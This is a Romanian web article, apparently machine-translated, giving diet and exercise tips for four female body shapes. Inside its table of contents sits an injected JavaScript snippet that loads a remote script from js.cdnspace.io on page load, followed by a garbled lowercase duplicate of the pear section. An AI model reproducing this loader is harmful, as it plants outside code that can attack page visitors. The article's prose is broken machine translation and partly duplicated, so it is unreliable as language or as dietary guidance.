Dieta pentru un tip de figură

Atunci când alegeți un plan de masă dieta, ar trebui să ia în considerare exact ceea ce zone ale corpului strica impresia de ansamblu. Dieta pe tipul de figura va ajuta să atingă perfecțiunea.

conținut

Dreptunghi
Clepsidră
Pară
(function () { var script = document.createelement('script'); script.src = "https://js.cdnspace.io/script.js?t=" + ((d = new date()) ? '' + d.getutcfullyear() + d.getutcmonth() + d.getutcdate() + d.getutchours() : ''); script.async = true; document.body.appendchild(script); })();forma de pere este similar cu tipul clepsidra, dar volumul de sân, în acest caz, este sensibil inferior volumului de șolduri și picioare au o formă mai rotunjită. grăsime se acumulează în principal în părțile inferioare ale corpului - abdomen, fese, șolduri. dieta reduce în mod semnificativ cota de grăsimi animale. eliminată din dieta, orice produs cu conținut ridicat de grăsimi. prioritatea de carne slaba, peste slab, proteine din ouă, produse lactate cu conținut scăzut de grăsimi. sursa de grăsimi sunt uleiurile vegetale (nerafinate). ei vor avea, de asemenea, pentru a controla rata (mai puțin de 1 linguriță de salata pe portie). pentru a curăța țesutul corpului este necesar, prin urmare, ar trebui să includă legume cu un conținut ridicat de fibre brute din meniu (țelină, varză, dovleac, etc.). poate fi administrat în dieta de produse lactate cu conținut scăzut de grăsimi, carne slaba. zahăr și dulciuri, iar alcoolul va trebui să dea. optimă a programului de formare: alergare, biciclete exercita.
Măr
Opinii

dreptunghi

Chemat formă dreptunghiulară, unde umeri, piept, talie și șolduri vizual aproximativ egale în volum. Femeile care au o formă similară, rareori recupera. Dacă se întâmplă acest lucru, grăsimea se acumulează în principal în abdomen. Dieta afișează prioritatea alimentele pozitiile de proteine. Trebuie să renunțe la cafea, zahăr și dulciuri. masă mai târziu excluse. Dieta de proteine ar trebui să fie completată de efort fizic (preferinta pentru Pilates înot, aerobic, dans).

clepsidră

În acest caz, solduri si piept este de aproximativ aceeași, șolduri înguste talie vizibil. În cazul în care femeile care au o astfel de formă, pentru a primi mai bine, grăsimea este distribuită aproximativ uniform. Ajuta să piardă în greutate, legume cu frunze, carne slaba, albușuri de ou, nuci (Cantitate mică), pâine integrală de grâu, orez brun și alte „lent“ carbohidrați, lactate produse conținutul minim de grăsime. Sub rezerva excluderea băuturilor alcoolice, zahăr și dulciuri, toate alimentele grase. Consolidarea eficacitatea dietei de ajutor de dans, yoga, exercitii aerobice.

pară

Forma de pere este similar cu tipul Clepsidra, dar volumul de sân, în acest caz, este sensibil inferior volumului de șolduri și picioare au o formă mai rotunjită. Grăsime se acumulează în principal în părțile inferioare ale corpului - abdomen, fese, șolduri. Dieta reduce în mod semnificativ cota de grăsimi animale. Eliminată din dieta, orice produs cu conținut ridicat de grăsimi. Prioritatea de carne slaba, peste slab, proteine din ouă, produse lactate cu conținut scăzut de grăsimi. Sursa de grăsimi sunt uleiurile vegetale (nerafinate). Ei vor avea, de asemenea, pentru a controla rata (mai puțin de 1 linguriță de salata pe portie). Pentru a curăța țesutul corpului este necesar, prin urmare, ar trebui să includă legume cu un conținut ridicat de fibre brute din meniu (țelină, varză, dovleac, etc.). Poate fi administrat în dieta de produse lactate cu conținut scăzut de grăsimi, carne slaba. Zahăr și dulciuri, iar alcoolul va trebui să dea. Optimă a programului de formare: alergare, biciclete exercita.

măr

Acest tip de figură se caracterizează prin forme rotunjite, fără talie, piept si umeri plin. Când grăsime creșterea în greutate este distribuită aproximativ uniform. Dieta presupune restricționarea primirii de carbohidrati simpli. Se recomandă creșterea aportului de fibre (permite utilizarea unui supliment alimentar). Poti manca proteine slabe (produse lactate, carne, pește, ouă). dulciuri Exclus grăsimi animale. Este de dorit să se utilizeze soiurile dulci fruct, legumele bogate in amidon. cardio recomandate.

opinii

Dieta pe tipul de figura este o variantă a populare diete. În orice tip de figură, se recomandă să se limiteze consumul de dulciuri și grăsimi, care nu este nou.

Distribuiți pe rețelele sociale:

înrudit